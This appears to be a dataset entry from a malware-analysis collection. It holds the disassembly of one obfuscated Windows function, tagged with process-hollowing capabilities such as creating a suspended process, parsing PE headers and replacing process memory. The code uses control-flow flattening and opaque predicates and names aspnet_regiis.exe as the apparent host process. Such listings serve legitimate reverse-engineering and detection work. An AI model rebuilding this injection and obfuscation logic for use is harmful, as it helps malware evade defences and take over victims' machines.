Function at 0x10002eb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1ac
mov eax, dword [0x10070a00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18c], 0x58d946c9
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x190], eax
sub eax, 0x803afe56
je 0x100077a1
jmp 0x10002eec
mov eax, dword [ebp - 0x190]
sub eax, 0x80fc842a
je 0x10007876
jmp 0x10002f02
mov eax, dword [ebp - 0x190]
sub eax, 0x818032df
je 0x10007f97
jmp 0x10002f18
mov eax, dword [ebp - 0x190]
sub eax, 0x81d65522
je 0x10008367
jmp 0x10002f2e
mov eax, dword [ebp - 0x190]
sub eax, 0x8468f0c4
je 0x100079a9
jmp 0x10002f44
mov eax, dword [ebp - 0x190]
sub eax, 0x846afe4b
je 0x1000792f
jmp 0x10002f5a
mov eax, dword [ebp - 0x190]
sub eax, 0x85c70aed
je 0x10005308
jmp 0x10002f70
mov eax, dword [ebp - 0x190]
sub eax, 0x85fd9f9f
je 0x1000557c
jmp 0x10002f86
mov eax, dword [ebp - 0x190]
sub eax, 0x860d9113
je 0x10009eee
jmp 0x10002f9c
mov eax, dword [ebp - 0x190]
sub eax, 0x8680464c
je 0x100085ec
jmp 0x10002fb2
mov eax, dword [ebp - 0x190]
sub eax, 0x86dcc603
je 0x10005e04
jmp 0x10002fc8
mov eax, dword [ebp - 0x190]
sub eax, 0x87070403
je 0x100095ae
jmp 0x10002fde
mov eax, dword [ebp - 0x190]
sub eax, 0x87f0b43c
je 0x10006581
jmp 0x10002ff4
mov eax, dword [ebp - 0x190]
sub eax, 0x884f222d
je 0x10005d0a
jmp 0x1000300a
mov eax, dword [ebp - 0x190]
sub eax, 0x88af59c4
je 0x10006cf5
jmp 0x10003020
mov eax, dword [ebp - 0x190]
sub eax, 0x88d29b6b
je 0x10007b5e
jmp 0x10003036
mov eax, dword [ebp - 0x190]
sub eax, 0x89725b97
je 0x10009b60
jmp 0x1000304c
mov eax, dword [ebp - 0x190]
sub eax, 0x8b849395
je 0x10009692
jmp 0x10003062
mov eax, dword [ebp - 0x190]
sub eax, 0x8b93e805
je 0x1000720f
jmp 0x10003078
mov eax, dword [ebp - 0x190]
sub eax, 0x8ba17fd2
je 0x100059b8
jmp 0x1000308e
mov eax, dword [ebp - 0x190]
sub eax, 0x8cab7f6f
je 0x100052cc
jmp 0x100030a4
mov eax, dword [ebp - 0x190]
sub eax, 0x8d739270
je 0x100069fb
jmp 0x100030ba
mov eax, dword [ebp - 0x190]
sub eax, 0x8df68900
je 0x10009146
jmp 0x100030d0
mov eax, dword [ebp - 0x190]
sub eax, 0x8e14c2e1
je 0x1000673a
jmp 0x100030e6
mov eax, dword [ebp - 0x190]
sub eax, 0x8e1af903
je 0x100084b0
jmp 0x100030fc
mov eax, dword [ebp - 0x190]
sub eax, 0x8e94287d
je 0x1000704b
jmp 0x10003112
mov eax, dword [ebp - 0x190]
sub eax, 0x8e94d3ec
je 0x10005c75
jmp 0x10003128
mov eax, dword [ebp - 0x190]
sub eax, 0x8f4e8fe2
je 0x10009606
jmp 0x1000313e
mov eax, dword [ebp - 0x190]
sub eax, 0x8f58037e
je 0x10009865
jmp 0x10003154
mov eax, dword [ebp - 0x190]
sub eax, 0x8f6b6257
je 0x10008fd8
jmp 0x1000316a
mov eax, dword [ebp - 0x190]
sub eax, 0x8f95a7f4
je 0x10007b0d
jmp 0x10003180
mov eax, dword [ebp - 0x190]
sub eax, 0x903353f0
je 0x10005e23
jmp 0x10003196
mov eax, dword [ebp - 0x190]
sub eax, 0x92632eae
je 0x10008b9a
jmp 0x100031ac
mov eax, dword [ebp - 0x190]
sub eax, 0x931cec01
je 0x100082ed
jmp 0x100031c2
mov eax, dword [ebp - 0x190]
sub eax, 0x946960d4
je 0x10006878
jmp 0x100031d8
mov eax, dword [ebp - 0x190]
sub eax, 0x952442c2
je 0x1000800d
jmp 0x100031ee
mov eax, dword [ebp - 0x190]
sub eax, 0x954103f2
je 0x10006192
jmp 0x10003204
mov eax, dword [ebp - 0x190]
sub eax, 0x955d9f59
je 0x100077fc
jmp 0x1000321a
mov eax, dword [ebp - 0x190]
sub eax, 0x9562729a
je 0x10007e09
jmp 0x10003230
mov eax, dword [ebp - 0x190]
sub eax, 0x95645420
je 0x10006f6d
jmp 0x10003246
mov eax, dword [ebp - 0x190]
sub eax, 0x96288a42
je 0x10009d99
jmp 0x1000325c
mov eax, dword [ebp - 0x190]
sub eax, 0x967cf682
je 0x10006802
jmp 0x10003272
mov eax, dword [ebp - 0x190]
sub eax, 0x96df4eb3
je 0x10009fff
jmp 0x10003288
mov eax, dword [ebp - 0x190]
sub eax, 0x96e040bf
je 0x10006208
jmp 0x1000329e
mov eax, dword [ebp - 0x190]
sub eax, 0x96ee7cf7
je 0x10007e64
jmp 0x100032b4
mov eax, dword [ebp - 0x190]
sub eax, 0x97b524e3
je 0x10009df6
jmp 0x100032ca
mov eax, dword [ebp - 0x190]
sub eax, 0x982365de
je 0x1000590c
jmp 0x100032e0
mov eax, dword [ebp - 0x190]
sub eax, 0x989ee05d
je 0x10007c26
jmp 0x100032f6
mov eax, dword [ebp - 0x190]
sub eax, 0x9a40ae8e
je 0x10009d0e
jmp 0x1000330c
mov eax, dword [ebp - 0x190]
sub eax, 0x9a711e57
je 0x1000565d
jmp 0x10003322
mov eax, dword [ebp - 0x190]
sub eax, 0x9ae79364
je 0x10008761
jmp 0x10003338
mov eax, dword [ebp - 0x190]
sub eax, 0x9b63b932
je 0x10005827
jmp 0x1000334e
mov eax, dword [ebp - 0x190]
sub eax, 0x9c2a61bd
je 0x1000592b
jmp 0x10003364
mov eax, dword [ebp - 0x190]
sub eax, 0x9cd21de3
je 0x1000805e
jmp 0x1000337a
mov eax, dword [ebp - 0x190]
sub eax, 0x9de19777
je 0x10009d7a
jmp 0x10003390
mov eax, dword [ebp - 0x190]
sub eax, 0x9e2b59b5
je 0x1000628e
jmp 0x100033a6
mov eax, dword [ebp - 0x190]
sub eax, 0x9e432763
je 0x10005fb1
jmp 0x100033bc
mov eax, dword [ebp - 0x190]
sub eax, 0xa11d623f
je 0x1000834a
jmp 0x100033d2
mov eax, dword [ebp - 0x190]
sub eax, 0xa1232ac9
je 0x1000977f
jmp 0x100033e8
mov eax, dword [ebp - 0x190]
sub eax, 0xa13c23c2
je 0x1000884b
jmp 0x100033fe
mov eax, dword [ebp - 0x190]
sub eax, 0xa25d4f10
je 0x10009e33
jmp 0x10003414
mov eax, dword [ebp - 0x190]
sub eax, 0xa2910260
je 0x10006c47
jmp 0x1000342a
mov eax, dword [ebp - 0x190]
sub eax, 0xa359085d
je 0x10007c43
jmp 0x10003440
mov eax, dword [ebp - 0x190]
sub eax, 0xa39b3a25
je 0x100051a8
jmp 0x10003456
mov eax, dword [ebp - 0x190]
sub eax, 0xa3d349e0
je 0x10006e34
movss xmm0, dword [0x10017394]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x18c], 0xe3b73895
jmp 0x1000a13a
mov dl, 1
mov eax, 0x39eafd1f
mov ecx, 0x208f6956
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
movss xmm0, dword [0x10017384]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x18c], 0x39eafd1f
jmp 0x1000a13a
movss xmm0, dword [0x10017368]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x10017364]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x10017360]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x18c], 0x38e35c35
jmp 0x1000a13a
mov dl, 1
mov eax, 0x1660182f
mov ecx, 0x6591cec0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0x1660182f
jmp 0x1000a13a
movss xmm0, dword [0x1001735c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x18c], 0x9c2a61bd
jmp 0x1000a13a
movss xmm0, dword [0x10017358]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x18c], 0xc78d3b28
jmp 0x1000a13a
movss xmm0, dword [0x100171f8]
movss dword [ebp - 0x100], xmm0
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8cab648
mov ecx, 0x8202c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dl, 1
mov eax, 0xc1abef58
mov ecx, 0x1282ae13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
mov edx, eax
sub edx, 0x8e907b80
sub edx, 1
add edx, 0x8e907b80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa59de7c9
mov ecx, 0xe8213fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
movss xmm0, dword [0x10017328]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x18c], 0x903353f0
jmp 0x1000a13a
mov dl, 1
mov eax, 0xd25d6ec8
mov ecx, 0x2a38607c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x74d6d68d
mov ecx, 0x6024d40f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov ecx, dword [0x10071d28]
mov eax, dword [0x10071d24]
mov edx, ecx
sub edx, 0xe6427347
sub edx, 1
add edx, 0xe6427347
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce09bb51
mov ecx, 0x96e040bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
movss xmm0, dword [0x100171e8]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x10071d28]
mov eax, dword [0x10071d24]
mov edx, ecx
add edx, 0x6868c42d
sub edx, 1
sub edx, 0x6868c42d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce09bb51
mov ecx, 0x9e2b59b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0x72d57ac
jmp 0x1000a13a
movss xmm0, dword [0x100172f0]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100172ec]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x18c], 0xee5599dd
jmp 0x1000a13a
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
mov edx, eax
add edx, 0xa7ae557c
sub edx, 1
sub edx, 0xa7ae557c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1b708a5
mov ecx, 0xbf7dfcf0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov ecx, dword [0x10071d28]
mov eax, dword [0x10071d24]
mov edx, ecx
add edx, 0xc1526b3c
sub edx, 1
sub edx, 0xc1526b3c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x95edf34
mov ecx, 0x946960d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dl, 1
mov eax, 0x5e8b0157
mov ecx, 0x7fefcd5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
movss xmm0, dword [0x100172cc]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x18c], 0x4d275007
jmp 0x1000a13a
movss xmm0, dword [0x100171d4]
movss dword [ebp - 0x10c], xmm0
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
mov edx, eax
add edx, 0xc4af20fb
sub edx, 1
sub edx, 0xc4af20fb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4246a087
mov ecx, 0xdf0482a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dl, 1
mov eax, 0xa3d349e0
mov ecx, 0x6e27dc1a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
mov edx, eax
add edx, 0xffb6e3a6
sub edx, 1
sub edx, 0xffb6e3a6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9de9820
mov ecx, 0xd042c66e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf55d9b0a
mov ecx, 0x6322d2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
movss xmm0, dword [0x100172ac]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x18c], 0x431b4b1a
jmp 0x1000a13a
mov dl, 1
mov eax, 0x955d9f59
mov ecx, 0x5c514a49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
movss xmm0, dword [0x10017290]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x18c], 0x1285fd4e
jmp 0x1000a13a
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x45b5826e
mov ecx, 0x39183604
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dl, 1
mov eax, 0x7c73fae6
mov ecx, 0x4c49732d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dl, 1
mov eax, 0x103a86f9
mov ecx, 0x6200abfb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
mov edx, eax
add edx, 0x7cac6207
sub edx, 1
sub edx, 0x7cac6207
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x860d9113
mov ecx, 0x88d29b6b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0x103a86f9
jmp 0x1000a13a
mov dl, 1
mov eax, 0x61e77301
mov ecx, 0xa359085d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
movss xmm0, dword [0x10017260]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x18c], 0xf1d12ab7
jmp 0x1000a13a
mov dl, 1
mov eax, 0x96ee7cf7
mov ecx, 0xc832bcc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
movss xmm0, dword [0x10017250]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x18c], 0x4abdc229
jmp 0x1000a13a
mov ecx, dword [0x10071d28]
mov eax, dword [0x10071d24]
mov edx, ecx
add edx, 0x3f344154
sub edx, 1
sub edx, 0x3f344154
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1c4764ca
mov ecx, 0x952442c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
mov edx, eax
add edx, 0xe7a3a12f
sub edx, 1
sub edx, 0xe7a3a12f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1c4764ca
mov ecx, 0x9cd21de3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dl, 1
mov eax, 0x6ccb4142
mov ecx, 0x253c87d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
movss xmm0, dword [0x1001721c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x18c], 0xd408261a
jmp 0x1000a13a
mov dl, 1
mov eax, 0xae0b61b7
mov ecx, 0x81d65522
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov ecx, dword [0x10071d28]
mov eax, dword [0x10071d24]
mov edx, ecx
sub edx, 0x8fb0613f
sub edx, 1
add edx, 0x8fb0613f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd8cbb6b3
mov ecx, 0xbb294a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dl, 1
mov eax, 0x11b81d08
mov ecx, 0x35325725
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0xe1c4c9db
jmp 0x1000a13a
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x130], eax
mov eax, dword [0x10071d28]
mov ecx, dword [0x10071d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xae6fd260
mov ecx, 0x574d507b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dl, byte [ebp - 0xe9]
mov eax, 0x74fa7837
mov ecx, 0x36d8eb9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov ax, word [ebp - 0xd2]
movzx esi, ax
mov edx, dword [ebp - 0xd8]
mov eax, 0xd5a12ca5
mov ecx, 0x544af043
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x18c], 0xafb55b76
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0x6e8a80e0
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0xf0a8add7
jmp 0x1000a13a
mov eax, dword [ebp - 0x184]
add eax, 0xee27d1bc
add eax, 1
sub eax, 0xee27d1bc
mov dword [ebp - 0x80], eax
mov ecx, dword [0x10071d28]
mov eax, dword [0x10071d24]
mov edx, ecx
add edx, 0x5b574878
sub edx, 1
sub edx, 0x5b574878
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x523ab4b1
mov ecx, 0x8b849395
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0x6dad7869
jmp 0x1000a13a
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x78]
sub eax, 0xf8e7f7d1
add eax, ecx
add eax, 0xf8e7f7d1
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x18c], 0x6e8a80e0
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0x90dad2
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0x38cef4c6
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0xc867ea03
jmp 0x1000a13a
movss xmm0, dword [0x100171d0]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x18c], 0x604afcbb
jmp 0x1000a13a
movss xmm0, dword [0x100171cc]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x18c], 0x49f3d3d2
jmp 0x1000a13a
movss xmm0, dword [0x100171c0]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x18c], 0x78ef288e
jmp 0x1000a13a
movss xmm0, dword [0x100171bc]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x100171b8]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x18c], 0xe70453ce
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0x8f95a7f4
jmp 0x1000a13a
mov dword [ebp - 0x18c], 0x6cbffe7
jmp 0x1000a13a
jmp 0x10002ed0